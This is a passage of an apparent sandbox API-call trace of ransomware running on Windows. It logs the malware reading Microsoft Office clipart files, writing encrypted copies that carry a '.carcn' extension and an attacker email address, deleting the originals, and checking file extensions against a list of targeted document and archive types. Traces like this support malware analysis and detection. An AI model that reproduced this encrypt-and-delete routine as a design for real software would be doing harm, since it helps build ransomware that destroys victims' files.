liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.864] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0263.864] GetLastError () returned 0x0 [0263.864] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x133c, lpOverlapped=0x0) returned 1 [0263.944] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1340, lpOverlapped=0x0) returned 1 [0263.946] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.946] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.946] SetEndOfFile (hFile=0x4b0) returned 1 [0263.946] CloseHandle (hObject=0x4b0) returned 1 [0263.947] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.947] SetEndOfFile (hFile=0x550) returned 1 [0263.949] CloseHandle (hObject=0x550) returned 1 [0263.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0263.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.950] lstrlenW (lpString=".doc") returned 4 [0263.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.950] lstrlenW (lpString=".docx") returned 5 [0263.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.950] lstrlenW (lpString=".pdf") returned 4 [0263.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.950] lstrlenW (lpString=".xls") returned 4 [0263.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.950] lstrlenW (lpString=".xlsx") returned 5 [0263.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.950] lstrlenW (lpString=".ppt") returned 4 [0263.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.951] lstrlenW (lpString=".zip") returned 4 [0263.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.951] lstrlenW (lpString=".rar") returned 4 [0263.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.951] lstrlenW (lpString=".bz2") returned 4 [0263.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.951] lstrlenW (lpString=".7z") returned 3 [0263.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.951] lstrlenW (lpString=".dbf") returned 4 [0263.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.951] lstrlenW (lpString=".1cd") returned 4 [0263.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.951] lstrlenW (lpString=".jpg") returned 4 [0263.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.951] lstrlenW (lpString=".doc") returned 4 [0263.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString=".docx") returned 5 [0263.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.966] lstrlenW (lpString=".pdf") returned 4 [0263.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.966] lstrlenW (lpString=".xls") returned 4 [0263.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.966] lstrlenW (lpString=".xlsx") returned 5 [0263.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.967] lstrlenW (lpString=".ppt") returned 4 [0263.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.967] lstrlenW (lpString=".zip") returned 4 [0263.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.967] lstrlenW (lpString=".rar") returned 4 [0263.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString=".bz2") returned 4 [0263.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString=".7z") returned 3 [0263.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.967] lstrlenW (lpString=".dbf") returned 4 [0263.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.967] lstrlenW (lpString=".1cd") returned 4 [0263.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0263.967] lstrlenW (lpString=".jpg") returned 4 [0263.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.967] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.967] lstrlenW (lpString="BD08773_.WMF") returned 12 [0263.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.968] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=24778) returned 1 [0263.968] CloseHandle (hObject=0x550) returned 1 [0263.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0263.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.968] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.968] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0263.975] GetLastError () returned 0x0 [0263.975] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0264.086] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0264.088] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.088] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.088] SetEndOfFile (hFile=0x4bc) returned 1 [0264.118] CloseHandle (hObject=0x4bc) returned 1 [0264.120] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.120] SetEndOfFile (hFile=0x550) returned 1 [0264.126] CloseHandle (hObject=0x550) returned 1 [0264.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0264.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0264.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.624] lstrlenW (lpString=".doc") returned 4 [0264.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.624] lstrlenW (lpString=".docx") returned 5 [0264.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.624] lstrlenW (lpString=".pdf") returned 4 [0264.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.624] lstrlenW (lpString=".xls") returned 4 [0264.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.624] lstrlenW (lpString=".xlsx") returned 5 [0264.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.624] lstrlenW (lpString=".ppt") returned 4 [0264.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.624] lstrlenW (lpString=".zip") returned 4 [0264.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.624] lstrlenW (lpString=".rar") returned 4 [0264.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.624] lstrlenW (lpString=".bz2") returned 4 [0264.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.624] lstrlenW (lpString=".7z") returned 3 [0264.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.624] lstrlenW (lpString=".dbf") returned 4 [0264.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.625] lstrlenW (lpString=".1cd") returned 4 [0264.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.625] lstrlenW (lpString=".jpg") returned 4 [0264.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.625] lstrlenW (lpString=".doc") returned 4 [0264.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.625] lstrlenW (lpString=".docx") returned 5 [0264.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.625] lstrlenW (lpString=".pdf") returned 4 [0264.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.625] lstrlenW (lpString=".xls") returned 4 [0264.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.625] lstrlenW (lpString=".xlsx") returned 5 [0264.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.625] lstrlenW (lpString=".ppt") returned 4 [0264.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.625] lstrlenW (lpString=".zip") returned 4 [0264.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.625] lstrlenW (lpString=".rar") returned 4 [0264.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.626] lstrlenW (lpString=".bz2") returned 4 [0264.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.626] lstrlenW (lpString=".7z") returned 3 [0264.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.626] lstrlenW (lpString=".dbf") returned 4 [0264.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.626] lstrlenW (lpString=".1cd") returned 4 [0264.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0264.626] lstrlenW (lpString=".jpg") returned 4 [0264.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.626] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0264.626] lstrlenW (lpString="BD09194_.WMF") returned 12 [0264.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0264.748] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=14540) returned 1 [0264.748] CloseHandle (hObject=0x544) returned 1 [0264.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0264.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0264.810] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.810] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0264.812] GetLastError () returned 0x0 [0264.812] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0264.901] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0264.903] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.903] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.903] SetEndOfFile (hFile=0x55c) returned 1 [0264.903] CloseHandle (hObject=0x55c) returned 1 [0264.906] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.906] SetEndOfFile (hFile=0x544) returned 1 [0264.909] CloseHandle (hObject=0x544) returned 1 [0264.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0264.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0264.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.910] lstrlenW (lpString=".doc") returned 4 [0264.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.910] lstrlenW (lpString=".docx") returned 5 [0264.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.910] lstrlenW (lpString=".pdf") returned 4 [0264.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.910] lstrlenW (lpString=".xls") returned 4 [0264.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.910] lstrlenW (lpString=".xlsx") returned 5 [0264.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.910] lstrlenW (lpString=".ppt") returned 4 [0264.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.910] lstrlenW (lpString=".zip") returned 4 [0264.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.910] lstrlenW (lpString=".rar") returned 4 [0264.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.910] lstrlenW (lpString=".bz2") returned 4 [0264.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.910] lstrlenW (lpString=".7z") returned 3 [0264.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.910] lstrlenW (lpString=".dbf") returned 4 [0264.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString=".1cd") returned 4 [0264.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString=".jpg") returned 4 [0264.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString=".doc") returned 4 [0264.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString=".docx") returned 5 [0264.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.911] lstrlenW (lpString=".pdf") returned 4 [0264.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString=".xls") returned 4 [0264.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.911] lstrlenW (lpString=".xlsx") returned 5 [0264.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.911] lstrlenW (lpString=".ppt") returned 4 [0264.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString=".zip") returned 4 [0264.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.911] lstrlenW (lpString=".rar") returned 4 [0264.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString=".bz2") returned 4 [0264.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString=".7z") returned 3 [0264.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString=".dbf") returned 4 [0264.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.911] lstrlenW (lpString=".1cd") returned 4 [0264.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0264.912] lstrlenW (lpString=".jpg") returned 4 [0264.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.912] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0264.912] lstrlenW (lpString="BD10890_.GIF") returned 12 [0264.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0264.916] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=13515) returned 1 [0264.916] CloseHandle (hObject=0x544) returned 1 [0264.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0264.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0264.917] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.917] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.917] CreateFileW (lpFileName="C:\\Program 